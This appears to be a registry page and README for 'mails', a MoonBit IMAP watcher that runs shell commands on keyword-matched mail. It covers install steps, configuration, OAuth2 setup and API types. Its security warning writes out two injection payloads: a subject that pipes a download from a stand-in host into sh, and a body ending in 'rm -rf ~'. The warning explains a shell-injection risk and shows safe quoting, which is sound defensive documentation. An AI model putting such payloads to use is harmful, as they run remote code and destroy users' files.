Sign in

    mails

    Watch IMAP mailboxes and run commands when a message matches a keyword rule

    imap
    mail
    notify
    idle
    watch
    moonbit
    Download zip
    Author
    Version
    0.2.0
    License
    Apache-2.0
    Last updated
    1 hour ago
    Downloads
    31

    #mails

    Watch IMAP mailboxes with IDLE and run a shell command when a new message matches keywords in its subject, body, sender or recipients.

    mails is a rewrite of goimapnotify in MoonBit, with two things added:

    • Keyword rules. Instead of running one command for every new message, each message is matched against rules and only matching rules fire. Rules can look at the subject, the decoded text body, the From and the To headers, and can combine keywords with match = "any" or match = "all".
    • Encrypted passwords. mails.toml never contains the mailbox password in clear text. It stores an AES-256-GCM envelope; the key lives in .env next to the binary and never in the config file. mails encrypt does the sealing.

    Everything is one static binary with no runtime dependencies.

    #Highlights

    • Keyword rules, not just "new mail". Each message is matched against rules that inspect the subject, the decoded text body, From and To. Keywords can be combined with match = "any" or match = "all", compared case-insensitively, or treated as regular expressions. See Configuration.
    • IMAP IDLE with a polling fallback. One connection per mailbox. When the server advertises IDLE, changes arrive immediately; when it does not, the client polls every minute. See How watching works.
    • Encrypted passwords. mails.toml stores an AES-256-GCM envelope, never the password. The key lives in .env and can be a random 32-byte secret or a PBKDF2-derived passphrase. See Credentials.
    • Read and send, not just watch. mails ls lists a mailbox, mails read prints one message and mails send delivers a new one over SMTP, so a server needs no extra client to look at or answer the mail that triggered a rule.
    • A single static binary. No Node.js, Python or libc version to worry about on Linux: the published binaries are linked against musl statically.
    • Config beside the binary. mails.toml and .env are resolved relative to the mails executable, so one directory can be copied to another machine and keep working. There is no global config directory.
    • Runs anything. A rule command can be a shell string (sh -c) or an argv array, with {{subject}}-style placeholders and MAILS_* environment variables. See Placeholders.
    • Safe defaults. Messages are fetched with BODY.PEEK and never marked as read, commands have a timeout, and mails check verifies the config, the key and every IMAP login before you deploy it.

    #Install

    Native binaries are published for Linux (x86-64 and arm64) and macOS (Apple silicon). Every method below produces the same mails command.

    #npm, pnpm, yarn or bun

    npm install -g @tomasko/mails # pnpm add -g @tomasko/mails # yarn global add @tomasko/mails # bun add -g @tomasko/mails # npx @tomasko/mails version (run without installing)

    The npm package is a launcher, not the binary. On the first mails run it downloads the matching release asset, verifies its SHA-256 and caches it. Nothing is downloaded by npm install. The package deliberately declares no postinstall, so it also works under pnpm 12, with --ignore-scripts, and via npx. See npmjs/README.md for the launcher's environment variables.

    With the npm launcher the binary lives in the user cache, so the default mails.toml would live there too. For a long-lived setup, choose a persistent config path once:

    mkdir -p ~/.config/mails export MAILS_CONFIG=~/.config/mails/mails.toml mails init

    The other install methods put the binary somewhere stable, so the default next-to-the-binary config is already persistent.

    #MoonBit package registry

    moon install kupas/mails/cmd/mails

    Builds from source with the MoonBit toolchain and installs mails into ~/.moon/bin (use --bin DIR to change that). This is the path to use if you already develop with MoonBit.

    #Install script

    curl -LsSf https://raw.githubusercontent.com/tomasky/mails/master/install.sh | bash

    No Node.js or MoonBit required. The script accepts --version 0.2.0, --install-dir DIR and --no-verify, and verifies the published SHA-256 before installing. By default it installs into ~/.local/bin.

    #Prebuilt binary

    curl -L -o mails \ https://github.com/tomasky/mails/releases/latest/download/mails-linux-x86_64 chmod +x mails ./mails version

    Replace the asset name with the one for your platform:

    PlatformRelease asset
    Linux x86-64mails-linux-x86_64 (static, musl)
    Linux arm64mails-linux-aarch64 (static, musl)
    macOS Apple siliconmails-darwin-aarch64

    Each asset has a matching .sha256 file:

    curl -L -O https://github.com/tomasky/mails/releases/latest/download/mails-linux-x86_64 curl -L -O https://github.com/tomasky/mails/releases/latest/download/mails-linux-x86_64.sha256 sha256sum -c mails-linux-x86_64.sha256

    #From source

    git clone https://github.com/tomasky/mails && cd mails moon build --target native --release mkdir -p ~/.local/bin install -m 755 _build/native/release/build/cmd/mails/mails.exe ~/.local/bin/mails

    If ~/.local/bin is not on PATH, add it to your shell profile, or install with moon install, which uses ~/.moon/bin.

    See Building for the static Linux build and tests.

    #Releases

    Releases are tagged v<version> (for example v0.2.0). Each release publishes one binary per target plus its .sha256 checksum; there are no archives, because the installer, the npm launcher and curl all want the bare binary. Source archives are provided by GitHub for every tag.

    The release workflow builds each target on its own runner — ubuntu-latest and ubuntu-24.04-arm for the musl static binaries, macos-15 for Apple silicon — so no binary inherits another platform's libc. It then publishes the GitHub release and, if NPM_TOKEN is configured, the matching @tomasko/mails package.

    Every release asset is also published with a .sha256 checksum, which the installer and the npm launcher verify before running the binary.

    #Quick start

    The configuration file is mails.toml in the directory that holds the mails binary. mails init writes a commented starter file there.

    mails init # writes mails.toml next to the binary and prints the path $EDITOR /path/printed/by/mails/init/mails.toml mails keygen # creates .env with a fresh MAILS_KEY mails encrypt --account work --write # prompts for the IMAP password, seals it, and edits mails.toml in place mails check # verify config, key and logins mails watch # run in the foreground; use a supervisor in production

    Once it runs, the mailbox is reachable without a mail client:

    mails ls # the newest 20 messages: UID, date, sender, subject mails read 42 # one message, headers and text body mails send --to you@example.com --subject test --body "hello"

    If you would rather keep the config somewhere else, pass --config PATH or set MAILS_CONFIG. The .env file still defaults to the directory of the config file, and can be changed with general.env_file.

    #Reading and sending mail

    The same config and the same key are used for reading and sending, so there is nothing extra to install or authenticate.

    #mails ls

    mails ls # newest 20 messages of the first mailbox mails ls --mailbox Archive -n 50 mails ls --unread mails ls --json # one JSON object per message, for scripts mails folders # the mailboxes on the server

    UID DATE FROM SUBJECT 3 2025-04-03 09:15 张三 <zhang@example.com> * 中国层订 2 2025-04-02 11:30 bob@example.com Invoice 42 1 2025-04-01 10:00 Alice <alice@example.com> * 你好,一个测试

    A * in front of the subject marks a message that is still unread. The listing fetches headers only (Date, From, Subject) with BODY.PEEK, so it never marks anything as read, and 50 UIDs per command keeps a large mailbox cheap.

    #mails read

    mails read 42 # headers and the decoded text body mails read 42 --full # do not truncate the body at 4000 characters mails read 42 --raw # exactly what the server sent, headers included mails read 42 --json mails read 42 --mailbox Sent

    The body goes through the same MIME and charset handling as the watcher, so GBK/GB2312 mail prints as readable Chinese and text/html-only mail is stripped of its tags. Encoded-word subjects are decoded in both ls and read.

    #mails send

    mails send --to you@example.com --subject "test" --body "hello" mails send --to a@example.com,b@example.com --cc c@example.com --subject hi --body-file body.txt printf 'line one\nline two\n' | mails send --to you@example.com --subject "from stdin" mails send --to you@example.com --subject "report" --body "see attached" --attach report.pdf mails send --to you@example.com --subject "html" --html --body "<p>hello</p>"

    Without --body, the body is read from standard input. Recipients may be repeated, comma separated, semicolon separated, or written as Name <address>. --bcc recipients stay out of the headers, as they should. The message is built as RFC 5322 with a Date and a Message-ID, a UTF-8 Content-Type, base64 transfer encoding and multipart/mixed when there are attachments. Delivery goes over SMTP with STARTTLS on port 587 or implicit TLS on 465, authenticating with AUTH XOAUTH2, PLAIN or LOGIN depending on what the server offers and whether the account uses a password or an OAuth2 token.

    Sending needs smtp_host on the account:

    [accounts.work] host = "imap.example.com" port = 993 username = "me@example.com" password = "enc:v1:..." smtp_host = "smtp.example.com" # smtp_port = 465 # default 465 (implicit TLS); 587 selects STARTTLS # smtp_tls = true # default: port != 587 # smtp_starttls = false # default: port == 587 # smtp_username = "me@example.com" # default: username # smtp_tls_verify = true # default: tls_verify

    From: is the account's username (or smtp_username). An account without smtp_host still works for watching; only send refuses, with a pointer to this file.

    #Configuration

    [general] startup_sync = false # process existing mail on startup idle_timeout = "29m" # re-enter IDLE this often reconnect_delay = "30s" # first reconnect backoff, doubled up to 5m max_body_bytes = 262144 # fetch at most this much of each body command_timeout = "30s" # default rule timeout body_chars = 4000 # default {{body}} truncation env_file = ".env" # relative to this file key_env = "MAILS_KEY" # variable holding the encryption key [[rules]] name = "invoice" keywords = ["invoice", "payment due"] fields = ["subject", "body"] match = "any" # "any" (default) or "all" case_sensitive = false # default false regex = false # treat keywords as MoonBit regexes command = 'notify-send "{{subject}}" "{{from}}"' [[rules]] name = "from-boss" keyword = "boss@example.com" fields = ["from"] exec = ["/usr/local/bin/on-boss-mail", "--subject", "{{subject}}"] [accounts.work] host = "imap.example.com" port = 993 username = "me@example.com" password = "enc:v1:..." # written by `mails encrypt` mailboxes = ["INBOX", "Work"] # tls = true # tls_verify = true # startup_sync = true # idle_timeout = "10m" # reconnect_delay = "1m" # max_body_bytes = 1048576

    Rules can be global ([[rules]]) or per account ([[accounts.work.rules]]). Global rules run first, then the account's rules.

    #IMAP hosts for common providers

    Most providers use SSL on port 993; set tls = true and keep tls_verify =true. Use an app-specific password where the provider requires one (Gmail, iCloud, Fastmail, Yahoo, and most others with 2FA).

    ProviderhostporttlsNotes
    Gmail / Google Workspaceimap.gmail.com993trueNeeds an App Password with 2FA; "less secure apps" is gone
    Outlook / Microsoft 365outlook.office365.com993trueOAuth2 only — basic auth is permanently disabled, see below
    Yahoo Mailimap.mail.yahoo.com993trueApp Password required
    iCloud Mailimap.mail.me.com993trueApple ID app-specific password
    Fastmailimap.fastmail.com993trueApp password recommended
    Proton Mail127.0.0.11143trueVia Proton Mail Bridge (local, self-signed → tls_verify = false)
    Zoho Mailimap.zoho.com993trueApp-specific password with 2FA
    GMXimap.gmx.com993true
    AOL Mailimap.aol.com993true
    Yandex Mailimap.yandex.com993trueCreate an app password in the Yandex ID settings
    Mail.ruimap.mail.ru993trueApp password required
    QQ Mailimap.qq.com993trueEnable IMAP and create an authorisation code (授权码) in the web settings; use that code as password
    163 / 126 Mailimap.163.com993trueEnable IMAP and set a client authorisation password (客户端授权密码)
    Tencent Exmail (企业微信邮箱)imap.exmail.qq.com993trueAdmin must allow IMAP in the WeCom console; then enable it under 设置 → 收发信设置 and generate a client password (客户端专用密码)
    Sina Mailimap.sina.com993trueEnable IMAP in the web settings
    Dovecot / self-hostedyour server993truetls_verify = false only for self-signed certs

    Every provider in this table accepts a normal password or an app password, so auth = "password" (the default) works and the OAuth2 setup below is only needed for Outlook/Microsoft 365 and for Gmail accounts that cannot enable 2FA.

    #Providers that require OAuth2

    Microsoft disabled basic authentication for IMAP, POP and SMTP in Exchange Online in October 2022, and for Outlook.com/Hotmail consumer accounts on 16 September 2024. It cannot be switched back on: not by a tenant admin, not by support, and an app password does not help either. Turning IMAP on in the account settings is therefore not enough — the login itself is refused before any mailbox is reached:

    server rejected 'LOGIN "you@outlook.com" <redacted>': NO Basic authentication is disabled.

    mails speaks IMAP LOGIN (RFC 3501, username + password) only. It does not implement OAuth2/XOAUTH2, so no configuration can make an Outlook or Microsoft 365 account work directly. Options:

    • Use a provider that still accepts a password or an app password: Gmail (with 2FA + App Password), iCloud, Fastmail, Yahoo, Zoho, GMX, AOL, or a self-hosted server.
    • Put an OAuth bridge in front of it. A local gateway such as DavMail signs in with OAuth2 and exposes a plain IMAP port on localhost; point mails at that port with a dummy password:

      [accounts.outlook] host = "127.0.0.1" port = 1143 username = "you@outlook.com" password = "unused-bridge-placeholder" # the bridge holds the OAuth token mailboxes = ["INBOX"] tls = false # loopback only; do not expose this port

    • Use the built-in OAuth2 support (see below), which needs no browser on the server.

    #Headless OAuth2 sign-in

    mails implements the OAuth2 device authorization grant (RFC 8628) and IMAP AUTHENTICATE XOAUTH2, so an account can be connected from a server that has no browser or no display at all:

    mails login --account outlook

    outlook: sign in to microsoft 1. open https://microsoft.com/devicelogin 2. enter the code: H7K2-QP4LM waiting up to 15 minutes for approval (Ctrl-C to abort)... saved the refresh token to /etc/mails/.outlook.oauth IMAP login ok

    The URL is opened on any device — a phone is enough. The refresh token is written to .<account>.oauth next to mails.toml with mode 0600, sealed with AES-256-GCM when the key from .env is present. Access tokens are refreshed in memory and never written to disk.

    [accounts.outlook] host = "outlook.office365.com" port = 993 username = "you@outlook.com" auth = "xoauth2" oauth_provider = "microsoft" oauth_client_id = "<public client id>" mailboxes = ["INBOX"] [accounts.gmail] host = "imap.gmail.com" port = 993 username = "you@gmail.com" auth = "xoauth2" oauth_provider = "google" oauth_client_id = "<public client id>" mailboxes = ["INBOX"]

    KeyMeaning
    authpassword (default) or xoauth2
    oauth_providermicrosoft (default), google, or custom
    oauth_client_idclient id of a public app with the device code flow enabled
    oauth_tenantMicrosoft tenant: common (default), consumers, organizations or a tenant id
    oauth_scopeoverride the scope; defaults cover IMAP for Microsoft and Google
    oauth_device_endpointdevice code endpoint, required for custom
    oauth_token_endpointtoken endpoint, required for custom
    oauth_token_filewhere the refresh token lives; default .<account>.oauth

    For Google, use the device flow on a "TV and limited input" OAuth client with the https://mail.google.com/ scope. mails check verifies that the stored token still logs in, and mails login can be re-run at any time to replace a revoked token.

    #Outlook / Microsoft 365, step by step

    1. Open https://entra.microsoft.com → Applications → App registrations → New registration.
      • Name: mails.
      • Supported account types: pick what matches your mailbox — "Personal Microsoft accounts only" for @outlook.com/@hotmail.com, "Accounts in this organizational directory only" for one company tenant, or "Accounts in any organizational directory and personal Microsoft accounts" for both.
      • Redirect URI: leave empty; the device flow does not need one.
    2. In the new app: Authentication → Advanced settings → Allow public client flows = Yes → Save. This is required, otherwise the token endpoint answers AADSTS7000218.
    3. API permissions → Add a permission → APIs my organization uses → Office 365 Exchange Online → Delegated permissions → IMAP.AccessAsUser.All → Add permissions. (For a personal-accounts app this API may not be listed; consent is then requested at sign-in.)
    4. Copy the Application (client) ID from the app's overview page.
    5. Configure the account, matching oauth_tenant to the choice in step 1:

      [accounts.outlook] host = "outlook.office365.com" port = 993 username = "you@outlook.com" auth = "xoauth2" oauth_provider = "microsoft" oauth_tenant = "consumers" # personal accounts; "organizations" or the # tenant id for work accounts; "common" for both oauth_client_id = "00000000-0000-0000-0000-000000000000" mailboxes = ["INBOX"]

    6. Run mails login --account outlook, open the printed URL on any device and enter the code. After approval the command stores the refresh token and prints IMAP login ok.
    7. mails check now passes and mails watch keeps running without a browser.

    SymptomCause and fix
    AADSTS50020 user account does not exist in tenantthe client id belongs to an app registered in another tenant (a Microsoft first-party id such as the portal's 74658136-… cannot be used); copy the id from your own registration and register the app in the tenant that owns the mailbox
    AADSTS700016 application not found in tenantoauth_tenant does not match the app's supported account types; use consumers, organizations, common or the tenant id
    AADSTS7000218 client authentication failedAllow public client flows is still No
    AADSTS65001 consent requiredadd the IMAP.AccessAsUser.All permission, or have a tenant admin grant consent
    AADSTS500011 resource not foundthe app is single-tenant but oauth_tenant = "common"; set the tenant id
    AUTHENTICATE XOAUTH2 rejected, token is freshIMAP is disabled on the mailbox (Exchange: Set-CASMailbox -ImapEnabled $true)
    LOGIN ... NO Basic authentication is disabledthe account still uses auth = "password"; switch it to xoauth2
    token works but SELECT failsthe mailbox has no IMAP-enabled subscription; check the account's Exchange licence

    [accounts.gmail] host = "imap.gmail.com" port = 993 username = "you@gmail.com" password = "enc:v1:..." # an App Password, sealed with `mails encrypt` mailboxes = ["INBOX"] tls = true tls_verify = true [accounts.fastmail] host = "imap.fastmail.com" port = 993 username = "you@fastmail.com" password = "enc:v1:..." mailboxes = ["INBOX", "Sent"] tls = true tls_verify = true

    #Rule keys

    KeyDefaultMeaning
    namerule-NName used in logs and {{rule}}
    keywordsrequiredArray of keywords; each must appear in one of fields
    keyword–Single-keyword shorthand
    fields["subject", "body"]Any of subject, body, from, to
    match"any"any: one keyword is enough. all: every keyword must match
    case_sensitivefalseASCII/Unicode lowercase comparison
    regexfalseCompile keywords as regexes ((?i:...) when case-insensitive)
    command–Shell string, run with sh -c
    exec–argv array; the first element is the program
    timeoutcommand_timeoutKill the command after this duration
    workdir–Working directory for the command
    body_charsgeneral.body_charsTruncate {{body}} and MAILS_BODY
    accountsallRestrict the rule to these account names
    mailboxesallRestrict the rule to these mailboxes

    command and exec are mutually exclusive in spirit; if both are set, exec wins.

    #Placeholders

    Inside command and every exec argument:

    PlaceholderValue
    {{account}}, {{mailbox}}, {{uid}}Where the message lives
    {{subject}}, {{from}}, {{to}}, {{date}}, {{message_id}}Decoded headers
    {{body}}Readable text body with its line breaks, truncated to body_chars
    {{rule}}, {{keywords}}, {{fields}}Which rule fired and why
    {{*_q}}The same value single-quoted for a POSIX shell

    #Message text is untrusted input

    {{subject}}, {{from}}, {{to}}, {{date}}, {{message_id}} and {{body}} are inserted raw, and command runs under sh -c. Anyone who can send you mail can therefore run a command through your rule: a subject of $(curl -s evil.example.com/x|sh), or a body ending in ; rm -rf ~, is enough. mails check and mails watch warn about every rule that does this.

    cat {{body}} is the classic mistake: the body is not one word, so cat treats it as a file name. Two safe ways to read the text:

    # Shell-quoted placeholder: safe whatever the sender wrote. command = 'printf "%s\n" {{body_q}} >> ~/mail.log' # Or the environment, which a shell never parses. command = 'printf "%s\n" "$MAILS_BODY" >> ~/mail.log'

    {{*_q}} single-quotes the value, so $(...), quotes and ; are all inert.

    The full environment for a rule command:

    MAILS_ACCOUNT, MAILS_MAILBOX, MAILS_UID, MAILS_SUBJECT, MAILS_FROM, MAILS_TO, MAILS_DATE, MAILS_MESSAGE_ID, MAILS_RULE, MAILS_KEYWORDS, MAILS_BODY (truncated to body_chars), MAILS_BODY_FULL, and MAILS_BODY_TRUNCATED (1) when MAILS_BODY_FULL was cut.

    A single environment value cannot exceed 128 KiB on Linux (execve fails with E2BIG), so MAILS_BODY_FULL stops at 60 000 bytes and sets MAILS_BODY_TRUNCATED=1. Use {{body}} with a larger body_chars, or write the raw message to a file, when you need every byte.

    The body keeps the line breaks of the original message, so a posted notification reads like the mail. Two things to keep in mind when you post it: JSON strings need \n rather than a real line break, and Markdown renderers (DingTalk, Slack, Telegram) show a break on a blank line only. This command does both:

    body=$(printf '%s\n' "$MAILS_BODY" | awk 'NF { printf "%s\\n\\n", $0 }') curl -s -H 'Content-Type: application/json' \ -d "{\"msgtype\":\"markdown\",\"markdown\":{\"title\":\"$MAILS_SUBJECT\",\"text\":\"$body\"}}" \ "$DINGTALK_WEBHOOK"

    #Credentials

    The account password in mails.toml is either an enc:v1: envelope or a plain value (if you use a password helper or a dedicated app password that you do not mind storing).

    mails keygen # writes MAILS_KEY to .env (mode 0600) mails encrypt --account work # prints the envelope to paste mails encrypt --account work --write # edits mails.toml in place mails encrypt --account work --new-key --write # rotate the key first

    The envelope is enc:v1:<salt>:<nonce>:<ciphertext+tag>. Two key forms are accepted in .env:

    • MAILS_KEY=b64:... — a random 32-byte key (what keygen writes), used directly.
    • MAILS_KEY=pass:correct horse battery staple — a passphrase; the AES key is derived with PBKDF2-HMAC-SHA256 (100k iterations) and the per-secret salt.

    Losing .env means the password cannot be recovered; run mails keygen followed by mails encrypt --write again. Keep .env out of version control.

    MAILS_KEY may also be set in the environment, which takes precedence only when the .env file does not define it.

    #Commands

    mails <command> [options] watch follow mailboxes with IMAP IDLE sync process existing matching mail once, then exit check verify config, key, logins and mailbox counts ls list the newest messages of a mailbox read print one message (UID is required) folders list the mailboxes on the server send send a message over SMTP encrypt seal an account password with the key in .env keygen create or rotate the encryption key in .env rules list configured rules env show .env with secret values masked init write a commented mails.toml next to the binary version print the version help print usage

    Options:

    OptionEffect
    -c, --config PATHConfiguration file (default: mails.toml next to the binary)
    -a, --account NAMEOperate on one account only
    --onceFor watch: process existing mail, then exit (same as sync)
    --writeFor encrypt: update mails.toml in place
    --new-keyFor encrypt: rotate the key before sealing
    -v, --verboseDebug logging
    -q, --quietWarnings and errors only
    -m, --mailbox NAMEFor ls, read, send: mailbox to read (default: the account's first)
    -n, --limit NFor ls: how many messages (default 20)
    -u, --unreadFor ls: unread messages only
    --jsonFor ls, read: machine-readable output
    --fullFor read: do not truncate the body
    --rawFor read: the message exactly as stored
    -t, --to ADDRFor send: recipient; repeatable or comma separated
    --cc ADDR, --bcc ADDRFor send: more recipients
    -s, --subject TEXTFor send: subject
    -b, --body TEXT, --body-file FFor send: body; default is standard input
    --htmlFor send: the body is HTML
    --attach FILEFor send: attach a file; repeatable

    #Environment variables

    VariableRead byEffect
    MAILS_CONFIGmailsConfig path when --config is not passed
    MAILS_KEYmailsEncryption key fallback when .env does not define general.key_env
    MAILS_QUIETmails1 silences everything but errors (same as -q, also dropping warnings)
    MAILS_BINARY, MAILS_CACHE_DIR, …npm launcherControl the downloaded binary; see npmjs/README.md

    Rule commands receive their own variables: MAILS_ACCOUNT, MAILS_MAILBOX, MAILS_UID, MAILS_SUBJECT, MAILS_FROM, MAILS_TO, MAILS_DATE, MAILS_MESSAGE_ID, MAILS_RULE, MAILS_KEYWORDS, MAILS_BODY and MAILS_BODY_FULL. See Placeholders.

    #Exit status

    StatusMeaning
    0The command did what it was asked. For sync / watch --once, every mailbox synced
    1Bad arguments or config, a missing or wrong key, a failed login, or at least one mailbox failed

    check tries every account before failing, so one broken account does not hide the others. watch without --once is long-running: it reconnects on its own and is meant to be stopped by a supervisor with SIGINT or SIGTERM.

    #How watching works

    For every configured mailbox, mails opens its own connection, logs in, SELECTs the mailbox, and then loops:

    1. Enter IDLE with idle_timeout. The server pushes EXISTS/RECENT when something changes; on timeout the client sends DONE and re-enters IDLE.
    2. On a change, re-SELECT the mailbox to refresh UIDVALIDITY and UIDNEXT.
    3. UID SEARCH UID <last+1>:*, then UID FETCH each new UID for its header and a bounded slice of its text body.
    4. Parse MIME, run every matching rule's command, and advance last_uid, which is also written to .<account>.<mailbox>.<digest>.cursor next to mails.toml, after every message. The digest keeps mailboxes whose names differ only in characters that are unsafe in a file name (Sent Items versus Sent/Items) from sharing one cursor.

    If the server rejects IDLE, the loop falls back to polling every 60 seconds. The saved cursor is what a reconnect resumes from, so a dropped connection does not run a rule command twice for the same message; it wins over UIDNEXT, which some servers report as 0 even though mail exists. UIDVALIDITY changes reset the cursor and rescan the mailbox. Connection failures reconnect with exponential backoff, capped at five minutes.

    startup_sync decides what the first connection of a run does. startup_sync = false skips the mail that is already in the mailbox: the scan continues at UIDNEXT - 1, or, when the server reports no usable UIDNEXT, it starts after the newest message that exists. true scans the whole mailbox, which can be slow on large mailboxes. Either way, a reconnect inside the same run resumes from the cursor and only processes mail that arrived since. mailssync always scans the whole mailbox once, so it is useful for testing rules against existing mail; it does not mark anything as read.

    Bodies are fetched with BODY.PEEK, so watching never marks messages as seen. text/plain is preferred; HTML-only mail is stripped of tags. UTF-8 plus every charset the WHATWG Encoding Standard knows about is decoded — GBK/GB2312/GB18030, Big5, Shift_JIS, EUC-JP/KR, ISO-2022-JP and the ISO-8859/windows-125x families — so Chinese, Japanese and Korean mail matches and renders correctly. Unknown charsets fall back to a lossy UTF-8 read.

    #Running as a service

    mails watch stays in the foreground and logs to standard error, which is what supervisors want. A minimal systemd user unit:

    # ~/.config/systemd/user/mails.service [Unit] Description=mails IMAP watcher After=network-online.target [Service] ExecStart=%h/.local/bin/mails watch --config %h/.local/bin/mails.toml Restart=always RestartSec=30 [Install] WantedBy=default.target

    systemctl --user daemon-reload systemctl --user enable --now mails journalctl --user -u mails -f

    Run mails check --config ... once before enabling the unit; it prints the config path, whether the key was found, and every mailbox it can select.

    #Building

    Requires the MoonBit toolchain (moon version --all) and a C compiler.

    moon build --target native --release # binary: _build/native/release/build/cmd/mails/mails.exe

    During development the debug build works too:

    moon build --target native ./_build/native/debug/build/cmd/mails/mails.exe version

    Tests and the warning-free gate:

    moon test --target native moon check --target native --deny-warn moon fmt --check

    A clean build also compiles the C stubs of the dependencies, and one of them (moonbitlang/async's thread-pool self-pipe) calls write without checking the result, which GCC flags with -Wunused-result. scripts/patch-deps.sh silences exactly that line so the build output holds nothing but our own diagnostics; CI and the static build script run it after moon update. It is idempotent and changes no behaviour: a failed write there only means the event loop wakes up spuriously, which it already handles.

    #Static Linux build

    scripts/build-linux-static.sh is what the release workflow uses. A glibc build records the build machine's symbol versions, so a binary built on a new runner refuses to start on an older distribution (GLIBC_2.38 not found); linking against musl statically removes that entire class of problem.

    sudo apt-get install musl-tools ./scripts/build-linux-static.sh dist/mails-linux-x86_64

    The static binary keeps TLS. moonbitlang/async normally loads OpenSSL with dlopen, which cannot work in a statically linked program, so a static build used to fail every TLS connection with TlsError("failed to load OpenSSL"). The script instead builds (or reuses) a musl OpenSSL and links it in, compiling async's TLS stub from scripts/tls/openssl_static.c — a copy of the upstream loader whose only change is that it references the OpenSSL symbols directly instead of resolving them at runtime.

    VariableMeaning
    MAILS_MUSL_WORKDIRscratch directory (default: a fresh temp dir)
    MAILS_OPENSSL_VERSIONOpenSSL to download and build (default 3.5.5)
    MAILS_OPENSSL_SRCbuild the static libs from this source tree
    MAILS_OPENSSL_MUSLuse a prebuilt musl static OpenSSL prefix (include/, lib/)
    MAILS_NO_TLS=1build without TLS (smaller; IMAP over TLS won't work)

    #Differences from goimapnotify

    • Config is TOML, lives next to the binary, and is not searched for in $XDG_CONFIG_HOME.
    • Desktop notifications are not built in; a rule command can call notify-send, terminal-notifier, or anything else.
    • Passwords are encrypted at rest; goimapnotify stores them in clear text.
    • Matching is keyword-based with subject/body/from/to fields, not just "run a command for every new message".
    • IMAP only. JMAP is not implemented.

    #Limitations

    • IMAP and SMTP only. JMAP and POP3 are not implemented. IMAP authentication is LOGIN or AUTHENTICATE XOAUTH2, always with TLS; see Providers that require OAuth2.
    • send does not queue or retry. It connects, delivers and exits; SMTP refusal is reported with the server's status code, and a refused recipient fails the command after the others have been tried.
    • send has no reply/history tracking. It writes no copy to Sent: use --bcc your-own-address, or let your provider's SMTP do it if it does.
    • OAuth2 needs a one-time mails login. The device code flow refreshes the access token automatically afterwards, but a revoked or expired refresh token has to be replaced by running mails login again.
    • The cursor is a file next to the config. .<account>.<mailbox>.cursor (mode 0600) records the last handled UID, so a dropped connection resumes instead of replaying mail. It is per account and per mailbox. A fresh mails process still follows startup_sync, so mail that arrived while it was down is skipped when that is false; run mails sync to handle it.
    • Text charsets. UTF-8 plus everything the WHATWG Encoding Standard knows about: GBK/GB2312/GB18030, Big5, Shift_JIS, EUC-JP/KR, ISO-2022-JP and the ISO-8859/windows-125x single-byte families, so Chinese mail from QQ, 163 and Exmail matches and renders correctly. A text/html part with no charset parameter inherits the one its <meta> tag declares. Unknown charsets still fall back to a lossy UTF-8 read.
    • One connection per mailbox, and rule commands for a mailbox run sequentially. A slow command delays processing of later messages on that mailbox; use timeout to bound it.
    • Message text is untrusted. {{subject}}, {{from}} and {{body}} are substituted raw into sh -c, so use {{..._q}} or the MAILS_* environment; both mails check and mails watch warn about rules that do not.
    • A single environment value stops at 128 KiB. MAILS_BODY_FULL is capped at 60 000 bytes (and sets MAILS_BODY_TRUNCATED=1), because Linux refuses a larger execve environment. Write the message to a file when you need every byte.
    • Plain passwords are still accepted for compatibility with password helpers, but they are not encrypted at rest. Prefer mails encrypt.
    • No desktop notification backend. Call notify-send, terminal-notifier, logger or your own script from a rule.

    #License

    Apache-2.0

    IdleUnsupported

    pub suberror IdleUnsupported

    ImapProtocolError

    pub suberror ImapProtocolError {
    ImapProtocolError(String)
    }

    MailsError

    pub suberror MailsError {
    MailsError(String)
    }

    Errors raised by mails and reported to the user without a stack trace.

    Account

    pub struct Account {
    name : String
    host : String
    port : Int
    username : String
    password : String
    use_tls : Bool
    tls_verify : Bool
    auth : AuthKind
    oauth_provider : String
    oauth_client_id : String
    oauth_tenant : String
    oauth_scope : String
    oauth_device_endpoint : String
    oauth_token_endpoint : String
    oauth_token_file : String
    smtp_host : String
    smtp_port : Int
    smtp_tls : Bool
    smtp_starttls : Bool
    smtp_username : String
    smtp_tls_verify : Bool
    mailboxes : Array[String]
    rules : Array[Rule]
    startup_sync : Bool
    idle_timeout_ms : Int
    reconnect_ms : Int
    max_body_bytes : Int
    }

    ActionContext

    pub struct ActionContext {
    account : String
    mailbox : String
    message : MailMessage
    rule : Rule
    keywords : Array[String]
    }

    ActionOutcome

    pub struct ActionOutcome {
    exit_code : Int
    timed_out : Bool
    }

    Attachment

    pub struct Attachment {
    name : String
    mime : String
    data : Bytes
    }

    AuthKind

    pub enum AuthKind {
    PasswordLogin
    OAuth2Login
    }

    Config

    pub struct Config {
    path : String
    dir : String
    env_file : String
    key_env : String
    defaults : Defaults
    rules : Array[Rule]
    accounts : Array[Account]
    }

    Credential

    pub enum Credential {
    Password(String)
    Bearer(String)
    }

    How to prove identity to the server.

    Defaults

    pub struct Defaults {
    startup_sync : Bool
    idle_timeout_ms : Int
    reconnect_ms : Int
    max_body_bytes : Int
    command_timeout_ms : Int
    body_chars : Int
    }

    DeviceAuthorization

    pub struct DeviceAuthorization {
    device_code : String
    user_code : String
    verification_uri : String
    verification_uri_complete : String
    interval_ms : Int
    expires_in_s : Int
    message : String
    }

    The RFC 8628 device authorization response.

    Draft

    pub struct Draft {
    from : String
    to : Array[String]
    cc : Array[String]
    bcc : Array[String]
    subject : String
    body : String
    html : Bool
    attachments : Array[Attachment]
    }

    EnvFile

    pub struct EnvFile {
    path : String
    keys : Array[String]
    values : Array[String]
    }

    EnvFile::get

    fn EnvFile::get(self : EnvFile, name : String) -> String?

    Envelope

    pub struct Envelope {
    uid : String
    date : String
    from : String
    subject : String
    size : Int
    seen : Bool
    flagged : Bool
    }

    One row of mails ls: everything the envelope list shows, decoded.

    FetchedMessage

    pub struct FetchedMessage {
    uid : String
    size : Int
    header : Bytes
    body : Bytes
    }

    Folder

    pub struct Folder {
    name : String
    delimiter : String
    attributes : Array[String]
    }

    ImapClient

    pub struct ImapClient {
    stream : ImapStream
    host : String
    tag_counter : Int
    capabilities : Array[String]
    }

    ImapClient::authenticate_xoauth2

    async fn ImapClient::authenticate_xoauth2(client : ImapClient, username : String, access_token : String) -> Unit

    Authenticate with an OAuth2 access token.

    The server either answers OK straight away or, on failure, sends a + continuation carrying a base64 JSON error. In the latter case the client must send an empty line to let the server finish with its tagged NO.

    ImapClient::check

    async fn ImapClient::check(client : ImapClient, mailbox : String) -> MailboxStatus

    Ask the server for the current mailbox state without changing selection.

    ImapClient::close

    async fn ImapClient::close(client : ImapClient) -> Unit

    ImapClient::connect

